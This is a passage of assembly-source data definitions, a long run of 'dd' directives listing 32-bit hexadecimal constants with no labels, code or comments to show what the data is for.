0F668CEEh, 6B340BDCh dd 0AC03901Fh, 0D8D870EFh, 0E100AA54h, 0E0C0AD73h, 5C4562Ch dd 7231DA07h, 5C80362h, 7AA3DD28h, 0F7F2100h, 0D53C63DAh dd 3D8C0059h, 3B224F61h, 0E900B1BEh, 6840F773h, 0EA805AD7h dd 4BEB0F69h, 0B843FF51h, 6FE1A535h, 0BE5ED230h, 1BA88F01h dd 0CE0A456h, 0B1E900BBh, 74C2D98Dh, 0DE74C5CAh, 20512C33h dd 8CE9E152h, 261EBF0h, 0B99179BFh, 2C200DC7h, 3006A3C8h dd 76116AA7h, 5B004B59h, 0B0D2B2E6h, 0E8D46291h, 0D021C01Eh dd 0E4D4B78h, 8D909909h, 0BDC50004h, 0E8E7CDFBh, 6094E934h dd 3AAC2CCBh, 0FF00A643h, 0CDCC1D90h, 0E70AA215h, 28EE345Dh dd 60A67B08h, 0E623013Ah, 83425AE8h, 0CF212433h, 8FE84BC8h dd 2802E406h, 2A48A59Ch dd 0CCF469h, 9574FDC9h, 0B6F64F72h, 0AFEADC00h, 7EB3B2E8h dd 80211850h, 507D8E7h, 6AB81C05h, 0C8032A38h, 0F82E5586h dd 0E2A7EDh, 9ABCFAC3h, 3D8A31B4h, 0DCCD6800h, 426E54D7h dd 534B00E6h, 3F83F329h, 5200F098h, 57DCA61h, 3CFC4AA9h dd 508555ABh, 0FEB30D1Eh, 9F98A8C1h, 1DB4F0ECh, 0CF1DCF3h dd 3420155Fh, 0E15B6C00h, 0BAD9A82Ah, 9A52001Eh, 3399C5C4h dd 420C1C58h, 50367D12h, 614C38D3h, 55709A8Eh, 295E8C60h dd 58184FC3h, 0ABE2F498h, 2C6E00EAh, 726928E3h, 9200ED1Eh dd 5D3E1A75h, 6AE59314h, 30B808F2h, 75B9C720h, 0B369AB00h dd 4E9B1831h, 0F4F900F0h, 40A04F37h, 0A31E6281h, 3400B30Ch dd 8DFD63B1h, 0F8D40E4Eh, 81CF1DC5h, 9FAFBEA0h, 0BA382ED7h dd 182900E7h, 62549836h, 4B6A069Dh, 49AB1C56h, 0BE0DDC1Fh dd 60841354h, 292F2D3Eh, 8DEA0728h, 2ED09336h, 20028C86h dd 2E5AD300h, 512FDDCDh, 64410063h, 12CF5232h, 88A0736Eh dd 0A00AFB8Fh, 984FB084h, 0D3DB9301h, 0BFC0C696h, 0F7EC1D90h dd 0F85418BCh, 3100F20Dh, 0CAA2EBE6h, 0BAE7470h, 82058D9Eh dd 0E8EE885Dh, 60648B88h, 9F96E931h, 6930A546h, 5BA33221h dd 4765BC00h, 312B0B54h, 9C4C0AADh, 77C0DA9h, 1051EDF8h dd 0CC7E1C5Bh, 86216800h, 5774EC85h, 0D77D0299h, 0D6288261h dd 459A67C0h, 1C963Eh, 4EF980ABh, 0E40B6520h, 511600D3h dd 15135EC2h, 3F00EA99h, 7EFE2264h, 0E063FF43h, 0C4F087h dd 150B7D6Ah, 0B32BD32Fh, 0A4CF1800h, 229A5F3Dh, 0EDA71C3Ch dd 6988C323h, 0CE98DFC0h, 0F800A5A4h, 3C242284h, 389E23DAh dd 758F1CEAh, 801FBED1h, 0D48CBA97h, 730EB165h, 8EB6DEA6h dd 4630383Fh, 8FBB01DFh, 0FDF59834h, 0EF56C89Ch, 0B60005E8h dd 0E6144A96h, 1A62A97h, 37FF2562h, 0DC452280h, 8075F53h dd 8919EBA3h, 723EF13h, 3D7D3A88h, 5D80201Ah, 0B6249515h dd 0A930A859h, 3EBA27h, 6AF6FBD5h, 1E942F5h, 30C61E2h dd 49E4D279h, 0C9810113h, 785AED18h, 1900D393h, 62411910h dd 0C0264CFFh, 8337E298h, 8C03D95Dh, 596FAAB3h, 97AFB870h dd 0C8D00031h, 12A60192h, 41007149h, 0F3B980EFh, 0AA132Dh dd 81735A42h, 0A86562B3h, 0D49CF025h, 9A206Bh, 0D8A13006h dd 0F53C147h, 0AB749800h, 5E827886h, 7E9100FDh, 2F262C7Ch dd 180035F0h, 330E6DB3h, 0F60399h, 1E5E3245h, 793FA504h dd 2E64050Fh, 88C0BD2Fh, 25513CBCh, 13930021h, 9F29EFA6h dd 8A3D1BABh, 114B804Ah, 0F2A14998h, 0B3EC0028h, 22B9F13h dd 951EAD41h, 0A60D197Ch, 5630609Ah, 8C48009Dh, 91B8B044h dd 2300B9C1h, 3F06FF7Eh, 120FC0h, 4EA92738h, 9B7C746Eh dd 0B9DE1D12h, 84AD10h, 70685688h, 2642E9h, 12DD8334h dd 5A484A80h, 0BD041B0Ch, 1E12A9h, 0D06A1D55h, 60B22E31h dd 0E3972900h, 0E6F0055Ah, 700AB803h, 6C0C180Fh, 35D4A007h dd 0E94BAF00h, 0CA1725B8h, 0D05C0060h, 0DC6C030Bh, 0A9711B20h dd 0B9332700h, 0A574D528h, 7AC71CD8h, 0D8435A48h, 0A4E0FA60h dd 0F7218C0h, 0F8B41509h, 1E0A7822h, 0B0061335h, 73927070h dd 94913C28h, 1674AB7Ch, 6718AC00h, 0DBB8BF6Bh, 0C8630077h dd 0A73F05B2h, 293C1BD8h, 45838076h, 0BC38260Bh, 0E70D4C03h dd 0EBD81C00h, 12BE7FC6h, 75953900h, 133D8EF1h, 60430086h dd 0D7EBF615h, 7601A055h, 0A3FA87E5h, 88C84DCh, 37201372h dd 90A0630Eh, 890BC019h, 11C2F06h, 0F4A7AA6Ch, 803B56AFh dd 3915776Ah, 4532A07h, 0E3BB9D79h, 20D180E1h, 0D249414h dd 88006BB0h, 32220C1Eh, 0AEF87Bh, 0E5548B56h, 3CF59777h dd 0E1B9F718h, 0E2B550h, 21B00A13h, 5326B47Eh, 988908CCh dd 0EF840377h, 602F3D13h, 0D214BC0Fh, 496E56Bh, 0A42C3880h dd 604E7374h, 46F6A113h, 680012E7h, 4FE05885h, 31CB25Fh dd 1B32660Ch, 182C8E8Dh, 0A831B72Fh, 98837F12h, 0D0FBA12Ah dd 0B5B43800h, 0C30DCABDh, 0EF47002Ch, 0A072FFB3h, 550044B0h dd 0FE5D1ADDh, 0BB1009h, 6A49EA2Eh, 0DA88E674h, 0CC0E58h dd 0BDFFA850h, 58AC8236h, 7300D5F0h, 85F28199h, 407C59D2h dd 0A6D1C600h, 21CD1006h, 0A1E00066h, 0C403EB15h, 34009D12h dd 0F93984F7h, 177564h, 77B337FBh, 24C7A08h, 518B5F00h dd 0EDBBE5D6h, 0FF790148h, 0DB45A0EBh, 4DBCFCD9h, 6510DF00h dd 0D69376A7h, 9E1207FDh, 0E17C2D60h, 0E0146653h, 0A10CDFFEh dd 20C992B1h, 83AA1D45h, 2197068Bh, 6D1E7813h, 1E3F4D9Bh dd 803CE6F4h, 3DA9F5C3h, 38643283h, 0D900F844h, 34CD4AA8h dd 86F2CCD3h, 6119D700h, 0CE3604B4h, 55412C9Ch, 243F03BBh dd 0EDA0D593h, 79ECF964h, 8023863Ah, 89CEEA70h, 0F5B17D0h dd 91BEFA74h, 1A28DE6Ch, 2A000AE0h, 0AAF3D19Bh, 0ABC55Fh dd 7AA22345h, 0DD2FE3Ch, 5C0C59ECh, 0D438CDB5h, 0CE17026Ch dd 0ED6A56D1h, 9E0CC0FFh, 3F5008Ah, 3E014758h, 9C0081E5h dd 17ADDCBFh, 0D07A5Eh, 0F8C61A32h, 7BDEA9A7h, 0D0C03D31h dd 0CFE81DF9h, 94090039h, 1FEF4CB1h, 0BD0F5592h, 78EB1003h dd 0CE0C28h, 0C739E9D9h, 0DE3CEA01h, 68B0B47Ch, 9C0063FAh dd 0DBE599C2h, 0D00540h, 0C55CAC84h, 0E46D3E15h, 0C108660h dd 5775B45h, 86846D8h, 19980063h, 0CD9FA6A0h, 33106060h dd 85D54Eh, 46FD1226h, 0BB3CCA66h, 38F11100h, 804C2AE3h dd 5333161Fh, 0D4990051h, 0CD1B150Eh, 0B820200h, 0C23FE8EAh dd 3E970003h, 2C011A5Dh, 4AE09CBCh, 0A5A258h, 0B5AA8EB3h dd 358E550h, 32D78C28h, 7BB0345Bh, 45004EF3h, 859D25CEh dd 76E8B22h, 15357D92h, 0EFDAC042h, 1701641Eh, 81D46A1Ch dd 1F04EFBh, 0D0FCA5h, 2303F771h, 38A7D240h, 0E7EA6200h dd 4551E125h, 891005Eh, 152F106Ah, 1B002E55h, 825B6B0Eh dd 90016C5Ah, 0D5FC0Eh, 2CF0ADB3h, 17B17A50h, 24443Dh dd 4AD326ECh, 685F90D9h, 178431A2h, 271E0F82h, 53238EC0h dd 0B5011C11h, 449AD0E8h, 0FCF8C414h, 0ADF81F4Bh, 4172C00Bh dd 0F22CCFF4h, 40CEAA1Dh, 19DC40Fh, 0E3A6868Ch, 51ADA9F3h dd 96778840h, 0E78CA16Dh, 18038770h, 10303DABh, 380FB7AFh dd 0EF07CDEBh, 0F18E0A1h, 125024Bh, 0F0FFF477h, 0F862962Bh dd 5100E626h, 8B8C732Fh, 0E4F5FC30h, 412A0005h, 0B7DBEBB3h dd 4A00066Eh, 9727B9FBh, 66CA88h, 0C11EA81Ch, 537A090Bh dd 393A3E00h, 0B3C323B0h, 0AFC700CDh, 5CA7066Dh, 0C4076C54h dd 0D135A3Ah, 0B85E5650h, 0B16601B6h, 20B957FEh, 0B5EDC481h dd 0A7B30712h, 5FC9F201h, 98204A9Dh, 2E8901A3h, 82C7FE46h dd 1590806Fh, 68F1EBD1h, 0EA97373h, 0C54F29EAh, 76831E00h dd 6D1C36D9h, 89C0E521h, 121D02F1h, 4D0E1C0Fh, 165D093Fh dd 0E86B2D80h, 0DF5C7D7Bh, 9A000B1h, 870A53BBh, 2CC800D3h dd 0BC66FC14h, 15756BB0h, 7563B500h, 9D5D0A35h, 61273065h dd 82C6BAA8h, 1A1E4F17h, 0C8F62F0h, 6CA16569h, 0DE0012B0h dd 0A405C66Fh, 1E877FC3h, 0C0B785FEh, 1CA75E95h, 0E00CBFBh dd 0E66290F4h, 4255FDh, 0ED0B4E8Eh, 0DD379998h, 1B315A00h dd 872A73A2h, 21A8007Bh, 69938ADBh, 0D0000D8Ch, 0C06ECDDAh dd 76A5CC08h, 1407A04h, 0BF153D05h, 87BAE45Bh, 0F4180C18h dd 12CE814Fh, 0B02F4608h, 0CC24DF13h, 403065E9h, 0DB81F6h dd 0EBDAD6BBh, 39A92D8Ch dd 7BDFF300h, 4CC2FA2Bh, 94740F20h, 0B767E740h, 7CA19F0Ch dd 0F4FF969Eh, 240CA309h, 202D2730h, 0AF420E4Dh, 8A608372h dd 0A6312A71h, 0FDD37312h, 0DF988600h, 81DBA5h, 0BCA0989h dd 77C145FBh, 1982BE00h, 4F0CCE32h, 0A5CD0321h, 0B4359196h dd 55ACC900h, 575F880Dh, 3FF706C6h, 0F0A4BED0h, 0D28D1A12h dd 0BDCF5B01h, 4080DE60h, 43073E71h, 0F560AE44h, 7C5A3978h dd 74D571D3h, 18FF0095h, 0A8456151h, 0C30E17A5h, 1F7A38A0h dd 0B621ADC0h, 0A9058A4h, 40014DC1h, 0BA538024h, 2F20D5C0h dd 0D0227A1Ch, 0D97D4D87h, 70EC8FAh, 2E87C033h, 10213B8h dd 3EF9C046h, 0C464A5C9h, 0CF03BFB4h, 84DB301Bh, 82C2A5C4h dd 2ACC810Bh, 10EC4770h, 1F1EED8h, 394EDAD1h, 0E4D95AE8h dd 42140212h, 28F859h, 0CFA3B450h, 84D8D23Bh, 7081920h dd 26B36076h, 4E1F00E0h, 7300E866h, 8F141847h, 72CCB85h dd 0EBE4A5D7h, 0F08747B6h, 534EFE1Ah, 385760Dh, 0C4177806h dd 0F824E640h, 0DD217279h, 0F2880C38h, 9824F921h, 0A8B14422h dd 7C504325h, 41CB46Bh, 222E8368h, 0A95C4C81h, 0B31100C7h dd 0EDC3EAB4h, 8E06DD8Dh, 2BFCD0CEh, 17720068h, 2071F15Dh dd 8CA053D9h, 0E0009A40h, 0A1F6869Dh, 1DC7EF88h, 802C6FE7h dd 0BF2F1B38h, 0A9FC9083h, 206D4B00h, 660F4D50h, 0BC7F02E2h dd 0E734D3D9h, 0DF07E460h, 8A598100h, 7A3AD4A9h, 8F7C5C84h dd 5D244E00h, 9B93C780h, 9A30A1Eh, 0DDE03D40h, 861D95h dd 67773326h, 4B64EA7Ch, 3ACBC1Fh, 817F60C7h, 0DA0F50E1h dd 0D7C431F9h, 29FA00FDh, 89B72B15h, 7102C5E2h, 42258462h dd 3EF6E0EAh, 88010752h, 370CD2AAh, 6AF210F8h, 0ED00EF34h dd 2B1631B0h, 1730533h, 5010A39Bh, 0F0B93766h, 4104EA63h dd 3835D28h, 77192480h, 0FB9B009Ch, 0E22C4A17h, 0EC002BDAh dd 712EC321h, 43C7FFh, 9733A48h, 6273229h, 0EADA5Ch, 72211D9Fh dd 97F1FFh, 7DE1B81Ch, 79BC7E33h, 2D6A021Dh, 99D613C0h dd 0B0D85681h, 0CE8800E6h, 8ACCFE92h, 2F0BB5C5h, 5C21FBh dd 0C4FA364h, 239438C9h, 9E76E2Ch, 9E802D2Eh, 690D1C3Fh dd 18BDCB1Fh, 1184AD00h, 1E51C868h, 80072BAFh, 86FDA037h dd 3100C639h, 53EE2499h, 7F490Eh, 93384C1Fh, 0D5E6780Bh dd 0A1949100h, 3C4FC0FCh, 57400028h, 0BDB97597h, 0C700061Bh dd 515C6B5Bh, 0AE7A5Ah, 879F66C3h, 71D9CE7h, 0D5177D1Dh dd 0BFF86300h, 0DCC5A9h, 7F954294h, 0E5AD4EF6h, 43EDC200h dd 86A1BC01h, 53B600C8h, 77EE4467h, 0AC034C34h, 1B8AFF91h dd 9925A835h, 78B500A3h, 0E2F4EAF5h, 7501AFE4h, 0FBC8CFF3h dd 0AE8C76Ch, 45F49DFh, 0A4197300h, 75509BB9h, 12CD9000h dd 4880D0D3h, 0EFB1146Ah, 7700CC92h, 1E9686ABh, 8501560Bh dd 0D3C733BEh, 0F303D68h, 0D4D50092h, 0A15A984Ch, 463D87E3h dd 88F1E2Ch, 6C869540h, 0E240E18h, 0B422A7B2h, 2B1CBA0h dd 0D0007812h, 8E5E9C4Ah, 0E26E59h, 92BFFB96h, 525F574Eh dd 3090073Dh, 0EC213C8Ah, 0DF0B006Ch, 34507B35h, 0CD00C10Eh dd 0B4966A76h, 9CC899h, 6D947F40h, 37907DD0h, 0E184F800h dd 86D9882Ah, 0D68E1C46h, 610640BAh, 0E43E513h, 802A4B3Ah dd 2D193ABBh, 0A0AEF554h, 1AD1AE8h, 8FA347B5h, 81919C72h dd 0A2E84B50h, 90409464h, 39FA6762h, 0C12487B1h, 2029067Ch dd 20C19052h, 46226F0Eh, 7FD7C0FAh, 0D8E8007Eh, 0A2FF9D2Ch dd 53093B54h, 0C17491h, 5E76DC8Ch, 43FE2Bh, 0FCCF8F40h dd 4BBA7FB3h, 0EB8A2C00h, 0F3AD353Bh, 0C61724DAh, 0C29E0F1Ch dd 7480068Eh, 0DE7EBE59h, 2F0F8513h, 3F53A000h, 12D9B0C6h dd 4146B547h, 9486F72Ch, 82809369h, 0BCE2F000h, 50DDF1h dd 0A7FDE861h, 817278EFh, 186F3C0Ah, 4009C63h, 42E8C1A8h dd 9CFB07C2h, 916C780Fh, 20A9A3A5h, 5800B62Eh, 0B0469D09h dd 0C5BA1Dh, 1F27E50Eh, 0E7DEDAF9h, 4AEC3501h, 68B6295Dh dd 3FFA37DCh, 22802369h, 4D5E3A9Ah, 3FA2486h, 392A6707h dd 5030F621h, 79DAAC91h, 0D09D0059h, 0AF7C9904h, 80000818h dd 48876C77h, 32B11Dh, 0BF1DEADh, 78E24902h, 0ECB8B48h dd 0BFC13130h, 0D4986D00h, 1EAD1328h, 4082047Dh, 0BD9695BEh dd 0ACA1EB81h, 0E59320F2h, 0D3BAAC03h, 0E1E0FFD1h, 0BDD46861h dd 0B6D90017h, 6DEEC0F3h, 8D008053h, 684DF58Ah, 3963A84Fh dd 0CC04AA20h, 0C03D97BEh, 9C3E4E01h, 0B8EBC705h, 0EB18D847h dd 1F925AFEh, 0B0D14Ah, 0C3268B69h, 0DC24FBD4h, 0AD0082BAh dd 95231B59h, 0CFE55C79h, 63769300h, 0DF94EBC1h, 7120FE00h dd 0A12ECCC0h, 0A0E62Bh, 207ACDAh, 5B707B54h, 4CB34500h dd 31ABC3A8h, 3378004Fh, 612EFD44h, 9500E321h, 0BCD557BEh dd 5F764DDh, 0C707B585h, 5836C08Fh, 320778E7h, 92F3ACE2h dd 655051D0h, 0FBF200B1h, 5433041Ch, 91482BB5h, 0E06D009Ch dd 0ABA74746h, 40A68492h, 0AACCF507h, 0C9915463h, 44206AA0h dd 0E9643A06h, 0EC8604F2h, 805902BCh, 20FB55C4h, 8D991807h dd 2C40C785h, 12B071h, 1BFF4817h, 2851C0EAh, 31C39100h dd 1E7FC546h, 0A8BA1C7Ch, 0E07C025h, 5F6BDA47h, 10836E00h dd 67DD46A5h, 0FDF80999h, 0F420BB48h, 818A923Ah, 0A556C600h dd 5E0A7F66h, 8D433BF1h, 0B980303Ah, 13FAA88Bh, 77009F3Fh dd 0E7BD7925h, 7D93D494h, 64C900D0h, 0AECE08F8h, 0A7363F7h dd 1AF0D600h, 47A80751h, 839000AAh, 5B7673D3h, 54002039h dd 813C36FFh, 3BC38Dh, 0C874F60Ah, 0F2757F67h, 27DF38h dd 0BB379750h, 5C3D4B07h, 5900BBD1h, 0FBC0B018h, 86005CAFh dd 251CA69Eh, 536D961h, 3728E304h, 0EDB493AAh, 203209E1h dd 0C809DF86h, 83CA79A7h, 0F06804E4h, 267B22C6h, 5F9E7h dd 4914DD7Ah, 0C97CB6C3h, 3709B376h, 808F8D32h, 0D9814B08h dd 0C25A06F6h, 88BCC09Ch, 577F1900h, 0C72F5C80h, 1B0F0223h dd 0E6ADC60Ah, 0E3BBE480h, 0EC1D3498h, 0D34056F8h, 5FB31F92h dd 0CBFF00C3h, 0E462479Ah, 887B7E8Ah, 6C6DA100h, 2CA717ACh dd 7C9500C0h, 1A67CDE5h, 8C006034h, 8F630C3h, 1027FADh dd 424BFFB0h, 20901EECh, 80FE5A48h, 81093E72h, 80BC66C0h dd 0BF748BC8h, 0B89250CCh, 50DF0003h, 0F5202788h, 663F8C9Ah dd 0FAD28023h, 0E2F6F9A4h, 0D4CF4C86h, 127B3C7Ch, 229397h dd 0CBE7C7F3h, 0D5075EDCh, 55FC145Dh, 0DAF284D0h, 0D433FFF9h dd 0BCE90674h, 58D39963h, 0CBA93F24h, 8090D600h, 706F723h dd 0A1BA8D1Ah, 5432B058h, 0CA0A05AEh, 0B0B5D3F0h, 0D9164500h dd 907CB1DDh, 1D3400C4h, 46827E92h, 8000B088h, 17F9B3CFh dd 0FDFA73h, 0C3B4A5CDh, 0CCF4E347h, 6BE1AF00h, 0E82C9F3Bh dd 4D9900D9h, 0F2E6507Ch, 0C7786FB2h, 0B1F0A0Eh, 705C6076h dd 118BBAAh, 0D6490C79h, 649824EAh, 6E0A96B0h, 8CF3ED2Ah dd 1A47FF00h, 1C981984h, 4232D85Eh, 0DE030642h, 0AD0CD880h dd 601688A3h, 0B832DF8Dh, 0E3D4A21Ch, 0B88CC48h, 0C6DC449Ch dd 138CAC00h, 5F020B10h, 58A530EAh, 0B9D09845h, 18830614h dd 30DEFD3Fh, 0AB475515h, 3A5C1DD0h, 46457040h, 98695890h dd 6F17002Ch, 0B0E78C7Ah, 561260E1h, 1400BC0Bh, 25549826h dd 0B5C404D4h, 0C0F72D42h, 6BCA0F5Ch, 11C124F2h, 0BCE4B610h dd 0D2F6434h, 0E051CE18h, 0DD8BC080h, 6CBC24EBh, 4658B400h dd 0A3F3197Fh dd 5D4300ECh, 83B2FFD5h, 400AD01h, 82F07AB0h, 18ED617h dd 674FAC65h, 0D443378Dh, 490FDBEAh, 0DD3DFE72h, 0A5D00200h dd 8D14EEh, 0BCB87718h, 0AFF351Dh, 8F0C8600h, 3CD4EC13h dd 1E8BE811h, 3AEBB451h, 78E88E1Ch, 5F61EE0Eh, 0C3041700h dd 0A2E9179h, 0E30BB659h, 3FA0986Eh, 0CBFD015Fh, 561FAB01h dd 18BC2145h, 0FF007FD4h, 0D9231750h, 961E16Bh, 72C305C5h dd 0B80D6001h, 5BF04194h, 0BFB048DCh, 1C680649h, 0C9004589h dd 49D2048Dh, 8CA400A6h, 0C4A0234Dh, 0C700BDC2h, 0D5AB2948h dd 713E0290h, 0D97F07DFh, 0A3F8F270h, 0A6E8EF17h, 0CC003A20h dd 45D554B0h, 9097523Ch, 81949BBCh, 19CC9D10h, 0D38872D0h dd 0A8F94820h, 4100B97Bh, 0D46CC6A4h, 0EC04BB15h, 0C8108721h dd 6D018CC0h, 6E0F00B4h, 0ACDB0790h, 43E61DC9h, 9D3B2814h dd 74A200D9h, 701787DAh, 0C693950h, 0B3D58300h, 0E56E3E46h dd 0F7DFA000h, 58330132h, 0B5B1006Bh, 0BD123AF6h, 3FE8B498h dd 0C9F37C00h, 2A419B7Fh, 0D88A0035h, 920D2106h, 89037152h dd 6D37200Fh, 0A67691DAh, 5C05EBC8h, 3400BA82h, 0F68BED92h dd 0D10119E0h, 0E63D154Ah, 0F5602ACEh, 0B46E3B7Fh, 0E18C5D02h dd 42E06778h, 9FFA01C4h, 0A3030B73h, 0B1611BDCh, 76780003h dd 2429A5ECh, 4707E5CBh, 19A33A18h, 59F91B60h, 0DB3000B0h dd 94C7BCE2h, 2400FBBEh, 0A6B261B7h, 1F132E65h, 943B32C5h dd 0CA00D840h, 0B3E207B9h, 0BC00FC2Fh, 0D785906Fh, 881CC8h dd 3B21F99Bh, 0D069AFA7h, 0FFCE7D00h, 0E301C65Ah, 0ED10907h dd 40804BF5h, 380B3CDCh, 0C3019678h, 0AA3D2526h, 95E1D474h dd 1AAC4820h, 7838B63Eh, 51E94460h, 0FB69A103h, 14182FCh dd 5D0FB818h, 0F77E68FFh, 5CE7100Eh, 6748C007h, 7387DDh dd 0B3E4CE2Ch, 2632A3DBh, 0B7FA6C18h, 0FC258h, 18C30731h dd 8EFD8C51h, 53BF21h, 113777D8h, 7001650h, 8B3BC604h dd 0CC29C1Ch, 0F1E2FCB6h, 631875A1h, 1CB18029h, 0F8140051h dd 44E6EBF7h, 5A00D794h, 10CC3943h, 0E46D1EB9h, 0E9910012h dd 0B25BF0E2h, 8A00716Ch, 656AEDCEh, 0A211Bh, 54265A37h dd 7D6777A1h, 505C4E00h, 8C9BE68Ah, 3E24075Bh, 30E31BF6h dd 77926B97h, 988EB505h, 6C80C808h, 7507A4h, 76D96C9Bh dd 0BF4DBA58h, 0DF004173h, 53A9ED25h, 26DE2422h, 0AB9F823h dd 0FC079ABh, 5F20CA60h, 0B178A8C6h, 0E0937F00h, 40136AF4h dd 51C831D1h, 5042DBF8h, 31626FD8h, 5D861400h, 0BBFDA363h dd 0B0DB00EDh, 0BEE22A64h, 0B301F854h, 0DDBDF7E3h, 2A7077FEh dd 0AA283E2Ch, 816BB59Eh, 0F31BF286h, 70AC403Eh, 6D0513DDh dd 5D881A1Dh, 1074DC40h, 1622412h, 0FC3A9E4Fh, 34DEA38Dh dd 0B809A164h, 0DD74BC11h, 529F1900h, 960080BAh, 0D02DF902h dd 0C42945h, 0EC297B2h, 347FDA3Bh, 0ED84F500h, 6D74B0B1h dd 9EFB0FE1h, 0AF80E9D0h, 0FE7A3573h, 95337903h, 80B4EC5Bh dd 7F715928h, 0B1A10010h, 57B86855h, 0E07E4D89h, 4A00A571h dd 46111B2h, 0E8BE91EDh, 0A0E20F12h, 0E780B43Ah, 87A95FDh dd 6532AA00h, 0D390413Fh, 0E6AB00D4h, 0A07CCDD9h, 7E0657F2h dd 5558DE29h, 0F1BB3050h, 0EDDB4F79h, 154EF600h, 3F2192Fh dd 351EEF3h, 0B59DEA43h, 0E3D06ED6h, 0CFE069A4h, 0E683C801h dd 7385FCD5h, 0BDC45080h, 824A6CDAh, 0A4D02000h, 0C02227EDh dd 91C11D3Eh, 74D58F19h, 0AE66CFC0h, 60C035A2h, 175D8514h dd 76290116h, 53CFBD4Ch, 0DEADDC1Bh, 5159F500h, 0DDCEEF26h dd 18420C4Fh, 0BCF83041h, 0FE168C0Ch, 7D1131h, 5FB26095h dd 0CB9AEB73h, 5900497Ch, 0D48F99B5h, 701BD39Dh, 0CAC2022Ah dd 77251309h, 0F66D8080h, 0E23AED8Bh, 353100C4h, 0CAE6B3BDh dd 0CC620051h, 0B772E365h, 5400E529h, 608E8A6Eh, 0E08BCB1Ah dd 36F800C1h, 85DB9B1h, 77E8CC63h, 0CB136D00h, 0E06F0B79h dd 0D66B263Dh, 941A00A1h, 0F1CF10D4h, 1743EF0Fh, 962FE0BBh dd 3A75CCA1h, 0AB00B6FDh, 0EA59FA61h, 28774B32h, 0CDB3DD00h dd 405FDE8Ah, 90F29Ch, 673FEA1Eh, 89D1D2F2h, 3A72D6F2h dd 0B598E900h, 9B8B68D4h, 777A001Eh, 4E29C11Dh, 5B3859E1h dd 3C3D1E61h, 0A142E00h, 15D52Bh, 6336ABCBh, 0A831560Bh dd 663A6901h, 0ED9F47B9h, 13ABF080h, 33650DE6h, 100E0DEh dd 7B2275A2h, 92F40044h, 0AC851736h, 0C8C2E00Eh, 0C0610A3Ah dd 184D153h, 0B3B75629h, 0DCC0F311h, 29C03C86h, 449C4850h dd 0A4A10133h, 13AA46D9h, 2C8BECF7h, 5D965507h, 0FDF0C612h dd 0BBAF8Ah, 4D117AACh, 35AD5AE5h, 634548A0h, 0FC7B0508h dd 0E52362FEh, 6967AF00h, 0A7D009Eh, 7F99D2FEh, 5300764Ah dd 0C074E643h, 3BBEAB3Dh, 84806A9Bh, 859F90F9h, 0AD00B7BDh dd 0A92B7B19h, 8CC0Dh, 1C800F32h, 594FEBD0h, 0B6406D00h dd 0A41A2D81h, 7D0700BBh, 5B741B67h, 0FE006556h, 8953A6CEh dd 744AD68h, 0D7BA54BCh, 71C6E002h, 937C668Dh, 0A355B200h dd 4B1F6312h, 5658C050h, 0E4AFE5F2h, 3A077F70h, 35AEB8DEh dd 5C883640h, 477F56h, 86CE81D9h, 0E9804D87h, 1C8A8918h dd 3E55241h, 9DBDA583h, 27E1B192h, 6AD6D044h, 308221C7h dd 0F7A88434h, 55D72507h, 4A8C4B27h, 41F4F20h, 0FF9C1102h dd 19D16C80h, 0C3F01DA5h, 57E29D58h, 8EA27009h, 0E39E009Ah dd 129522h, 1777E090h, 6A760AD2h, 9ABCCB00h, 0D9936D8Eh dd 0EFC600AAh, 6CC9D15Ah, 190075BAh, 0AE3F7DA8h, 7380A73h dd 3185B993h, 0ECD1808Dh, 1D040415h, 625ECEE2h, 0B8A182C3h dd 0C0AA3265h, 3B0F6426h, 9F00974Ah, 148A1004h, 0FBF2DA7h dd 0FAD205E1h, 0D0113D47h, 391FF60Dh, 80004972h, 0BE61330Bh dd 0FD320EBh, 7DC8AFCAh, 0D4095980h, 5C00CCE7h, 0A129760Ch dd 3685E73h, 5AC43789h, 0F2F2BE23h, 0FBA448C0h, 1600F1F6h dd 781F35A1h, 79206C76h, 9F440092h, 0FCE8C79h, 300142F7h dd 0F6AEDDEDh, 12C8D38Dh, 9DAF006Ch, 0CDDBC846h, 117213FFh dd 0BC5DE02Eh, 0C764F000h, 0C82A73Ch, 0F1079BA0h, 8801FC20h dd 0AAE03AA5h, 1D31C2BAh, 0CFB26C0h, 2B5DD94Dh, 0ABB8B468h dd 0B8439900h, 4FDAA582h, 8BD70029h, 9BAEFCD8h, 0AF502715h dd 6D00C910h, 0B4D302Bh, 0E3909Ch, 3A0A7852h, 8C33EFA7h dd 7F760700h, 2AD4201Bh, 0D0B8BCh, 5D274E58h, 0F6DBB0C8h dd 200035F4h, 0C6B249BBh, 363AEC9Fh, 0C8D02D37h, 8B23851Eh dd 81F2D800h, 3B02CA5Dh, 39B0C2D6h, 9BDE6520h, 9103567Ch dd 0C43E61D2h, 5F48E07Ch, 0ACB8F6h, 97C87D13h, 0E3DE5EAFh dd 0A947E805h, 0EC0F84B6h, 93A8A0FAh, 0DAF52Eh, 0F765EA32h dd 40D26C85h, 13125500h, 0E7049787h, 8D9F00E2h, 4975DD18h dd 600480Bh, 2C74F062h, 1AFB643h, 542E983Ah, 0C09A8001h dd 9E1E3DE1h, 0D4C12640h, 88186B24h, 5080E2D1h, 2230A699h dd 0C300F1F6h, 3BBC1F9Ah, 7534BB3h, 0A35F750Dh, 0B05E4747h dd 18498BAFh, 5B876300h, 0EAC0B9A9h, 0C5FE0090h, 8B1F9E2Ch dd 82E2DDB8h, 0F6C8CE00h, 356778E5h, 3DC177F3h, 0CF000245h dd 0F0860D1Bh, 713BC094h, 5FDF8396h, 4AA1AFh, 2C606FE9h dd 0F493C4ABh, 9EB8CE00h, 9C1D7BBCh, 718300DFh, 18EDBA5Fh dd 0C203F9A6h, 0B08A0A2Fh, 3EA4A02Ah, 3C9EE068h, 558C7A04h dd 291EB832h, 270E3Eh, 205F7D14h, 0DFACA5h, 850BA2BAh dd 0A04E0B0h, 0EB4C9409h dd 0AFD080B9h, 73E138h, 441DDB79h, 0E20DDD87h, 7FF80100h dd 7E805F0h, 53F227h, 7B3B4F21h, 5F79B225h, 0EBCFA000h dd 52ED02A7h, 5CB51F46h, 299BC016h, 94E0C8E4h, 24182261h dd 0F0DBEC39h, 0F67B35B9h, 4F3A01E4h, 50141F32h, 0F5ADF064h dd 0D9EE207Ch, 51DD9800h, 8782CCE9h, 138DF29h, 0F2A810B1h dd 0CFA2F0B0h, 26182860h, 12988288h, 7DF9307h, 307EE975h dd 0F82A3E91h, 14BEED00h, 8F21627h, 0BB0700C0h, 48257E5h dd 0AA00E78Dh, 0E3BD5A76h, 1353C1h, 1AF24C50h, 0F88694D9h dd 0A91EA307h, 0CF2002C8h, 0D2B1BAh, 8618374h, 86601033h dd 8F385600h, 